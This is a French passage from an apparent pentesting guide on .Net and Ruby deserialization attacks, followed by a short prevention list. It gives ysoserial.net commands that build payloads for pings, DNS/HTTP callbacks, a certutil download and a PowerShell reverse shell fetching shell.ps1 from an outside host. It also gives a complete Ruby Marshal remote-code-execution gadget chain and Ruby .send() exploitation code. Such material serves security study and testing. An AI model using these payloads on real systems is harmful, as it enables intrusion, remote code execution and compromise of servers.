Dans ce cas, vous pouvez utiliser l'outil ysoserial.net pour créer les exploits de désérialisation. Une fois le dépôt git téléchargé, vous devriez compiler l'outil en utilisant Visual Studio par exemple.

Si vous souhaitez en savoir plus sur comment ysoserial.net crée son exploit, vous pouvez consulter cette page où est expliqué le gadget ObjectDataProvider + ExpandedWrapper + formateur Json.Net.

Les principales options de ysoserial.net sont : --gadget, --formatter, --output et --plugin.

  • --gadget utilisé pour indiquer le gadget à exploiter (indiquer la classe/fonction qui sera exploitée lors de la désérialisation pour exécuter des commandes).
  • --formatter, utilisé pour indiquer la méthode pour sérialiser l'exploit (vous devez savoir quelle bibliothèque est utilisée en back-end pour désérialiser la charge utile et utiliser la même pour la sérialiser)
  • --output utilisé pour indiquer si vous voulez l'exploit en brut ou encodé en base64. Notez que ysoserial.net va encoder la charge utile en utilisant UTF-16LE (encodage utilisé par défaut sur Windows) donc si vous obtenez le brut et que vous l'encodez simplement depuis une console Linux, vous pourriez rencontrer des problèmes de compatibilité d'encodage qui empêcheront l'exploit de fonctionner correctement (dans la boîte JSON HTB, la charge utile a fonctionné en UTF-16LE et en ASCII mais cela ne signifie pas que cela fonctionnera toujours).
  • --plugin ysoserial.net prend en charge les plugins pour créer des exploits pour des frameworks spécifiques comme ViewState

Plus de paramètres ysoserial.net

  • --minify fournira une charge utile plus petite (si possible)
  • --raf -f Json.Net -c "anything" Cela indiquera tous les gadgets qui peuvent être utilisés avec un formateur fourni (Json.Net dans ce cas)
  • --sf xml vous pouvez indiquer un gadget (-g) et ysoserial.net recherchera des formateurs contenant "xml" (insensible à la casse)

Exemples de ysoserial pour créer des exploits:

#Send ping
ysoserial.exe -g ObjectDataProvider -f Json.Net -c "ping -n 5 10.10.14.44" -o base64

#Timing
#I tried using ping and timeout but there wasn't any difference in the response timing from the web server

#DNS/HTTP request
ysoserial.exe -g ObjectDataProvider -f Json.Net -c "nslookup sb7jkgm6onw1ymw0867mzm2r0i68ux.burpcollaborator.net" -o base64
ysoserial.exe -g ObjectDataProvider -f Json.Net -c "certutil -urlcache -split -f http://rfaqfsze4tl7hhkt5jtp53a1fsli97.burpcollaborator.net/a a" -o base64

#Reverse shell
#Create shell command in linux
echo -n "IEX(New-Object Net.WebClient).downloadString('http://10.10.14.44/shell.ps1')" | iconv  -t UTF-16LE | base64 -w0
#Create exploit using the created B64 shellcode
ysoserial.exe -g ObjectDataProvider -f Json.Net -c "powershell -EncodedCommand SQBFAFgAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4AZABvAHcAbgBsAG8AYQBkAFMAdAByAGkAbgBnACgAJwBoAHQAdABwADoALwAvADEAMAAuADEAMAAuADEANAAuADQANAAvAHMAaABlAGwAbAAuAHAAcwAxACcAKQA=" -o base64

ysoserial.net a également un paramètre très intéressant qui aide à mieux comprendre comment chaque exploit fonctionne : --test
Si vous indiquez ce paramètre, ysoserial.net va essayer l'exploit localement, vous pouvez donc tester si votre charge utile fonctionnera correctement.
Ce paramètre est utile car si vous examinez le code, vous trouverez des morceaux de code comme celui-ci (de ObjectDataProviderGenerator.cs):

if (inputArgs.Test)
{
try
{
SerializersHelper.JsonNet_deserialize(payload);
}
catch (Exception err)
{
Debugging.ShowErrors(inputArgs, err);
}
}

Cela signifie qu'en vue de tester l'exploit, le code appellera serializersHelper.JsonNet_deserialize

public static object JsonNet_deserialize(string str)
{
Object obj = JsonConvert.DeserializeObject<Object>(str, new JsonSerializerSettings
{
TypeNameHandling = TypeNameHandling.Auto
});
return obj;
}

Le code précédent est vulnérable à l'exploit créé. Donc, si vous trouvez quelque chose de similaire dans une application .Net, cela signifie probablement que cette application est également vulnérable.
Par conséquent, le paramètre --test nous permet de comprendre quels morceaux de code sont vulnérables à l'exploit de désérialisation que ysoserial.net peut créer.

ViewState

Jetez un œil à ce POST sur comment essayer d'exploiter le paramètre __ViewState de .Net pour exécuter du code arbitraire. Si vous connaissez déjà les secrets utilisés par la machine victime, lisez ce post pour savoir comment exécuter du code.

Prévention

Pour atténuer les risques associés à la désérialisation en .Net :

  • Évitez de permettre aux flux de données de définir leurs types d'objets. Utilisez DataContractSerializer ou XmlSerializer lorsque c'est possible.
  • Pour JSON.Net, définissez TypeNameHandling sur None : %%%TypeNameHandling = TypeNameHandling.None%%%
  • Évitez d'utiliser JavaScriptSerializer avec un JavaScriptTypeResolver.
  • Limitez les types pouvant être désérialisés, en comprenant les risques inhérents aux types .Net, tels que System.IO.FileInfo, qui peuvent modifier les propriétés des fichiers du serveur, entraînant potentiellement des attaques de déni de service.
  • Soyez prudent avec les types ayant des propriétés risquées, comme System.ComponentModel.DataAnnotations.ValidationException avec sa propriété Value, qui peut être exploitée.
  • Contrôlez de manière sécurisée l'instanciation des types pour empêcher les attaquants d'influencer le processus de désérialisation, rendant même DataContractSerializer ou XmlSerializer vulnérables.
  • Implémentez des contrôles de liste blanche en utilisant un SerializationBinder personnalisé pour BinaryFormatter et JSON.Net.
  • Restez informé des gadgets de désérialisation insécurisés connus dans .Net et assurez-vous que les désérialiseurs n'instancient pas de tels types.
  • Isoler le code potentiellement risqué du code ayant un accès Internet pour éviter d'exposer des gadgets connus, tels que System.Windows.Data.ObjectDataProvider dans les applications WPF, à des sources de données non fiables.

Références

Ruby

En Ruby, la sérialisation est facilitée par deux méthodes de la bibliothèque marshal. La première méthode, appelée dump, est utilisée pour transformer un objet en un flux d'octets. Ce processus est appelé sérialisation. En revanche, la deuxième méthode, load, est utilisée pour reconvertir un flux d'octets en un objet, un processus appelé désérialisation.

Pour sécuriser les objets sérialisés, Ruby utilise HMAC (Code d'authentification de message basé sur le hachage), garantissant l'intégrité et l'authenticité des données. La clé utilisée à cette fin est stockée dans l'un des emplacements possibles suivants :

  • config/environment.rb
  • config/initializers/secret_token.rb
  • config/secrets.yml
  • /proc/self/environ

Chaîne de gadgets RCE de désérialisation générique Ruby 2.X (plus d'informations dans https://www.elttam.com/blog/ruby-deserialization/):

#!/usr/bin/env ruby

# Code from https://www.elttam.com/blog/ruby-deserialization/

class Gem::StubSpecification
def initialize; end
end


stub_specification = Gem::StubSpecification.new
stub_specification.instance_variable_set(:@loaded_from, "|id 1>&2")#RCE cmd must start with "|" and end with "1>&2"

puts "STEP n"
stub_specification.name rescue nil
puts


class Gem::Source::SpecificFile
def initialize; end
end

specific_file = Gem::Source::SpecificFile.new
specific_file.instance_variable_set(:@spec, stub_specification)

other_specific_file = Gem::Source::SpecificFile.new

puts "STEP n-1"
specific_file <=> other_specific_file rescue nil
puts


$dependency_list= Gem::DependencyList.new
$dependency_list.instance_variable_set(:@specs, [specific_file, other_specific_file])

puts "STEP n-2"
$dependency_list.each{} rescue nil
puts


class Gem::Requirement
def marshal_dump
[$dependency_list]
end
end

payload = Marshal.dump(Gem::Requirement.new)

puts "STEP n-3"
Marshal.load(payload) rescue nil
puts


puts "VALIDATION (in fresh ruby process):"
IO.popen("ruby -e 'Marshal.load(STDIN.read) rescue nil'", "r+") do |pipe|
pipe.print payload
pipe.close_write
puts pipe.gets
puts
end

puts "Payload (hex):"
puts payload.unpack('H*')[0]
puts


require "base64"
puts "Payload (Base64 encoded):"
puts Base64.encode64(payload)

Autre chaîne RCE pour exploiter Ruby On Rails: https://codeclimate.com/blog/rails-remote-code-execution-vulnerability-explained/

Méthode Ruby .send()

Comme expliqué dans ce rapport de vulnérabilité, si une entrée utilisateur non filtrée atteint la méthode .send() d'un objet ruby, cette méthode permet de appeler n'importe quelle autre méthode de l'objet avec n'importe quels paramètres.

Par exemple, appeler eval puis du code ruby en tant que deuxième paramètre permettra d'exécuter du code arbitraire:

{% code overflow="wrap" %}

<Object>.send('eval', '<user input with Ruby code>') == RCE

{% endcode %}

De plus, si un seul paramètre de .send() est contrôlé par un attaquant, comme mentionné dans l'analyse précédente, il est possible d'appeler n'importe quelle méthode de l'objet qui n'a pas besoin d'arguments ou dont les arguments ont des valeurs par défaut.
Pour cela, il est possible d'énumérer toutes les méthodes de l'objet pour trouver des méthodes intéressantes qui répondent à ces critères.

{% code overflow="wrap" %}

<Object>.send('<user_input>')

# This code is taken from the original blog post
# <Object> in this case is Repository
## Find methods with those requirements
repo = Repository.find(1)  # get first repo
repo_methods = [           # get names of all methods accessible by Repository object
repo.public_methods(),
repo.private_methods(),
repo.protected_methods(),
].flatten()

repo_methods.length()      # Initial number of methods => 5542

## Filter by the arguments requirements
candidate_methods = repo_methods.select() do |method_name|
[0, -1].include?(repo.method(method_name).arity())
end
candidate_methods.length() # Final number of methods=> 3595

{% endcode %}

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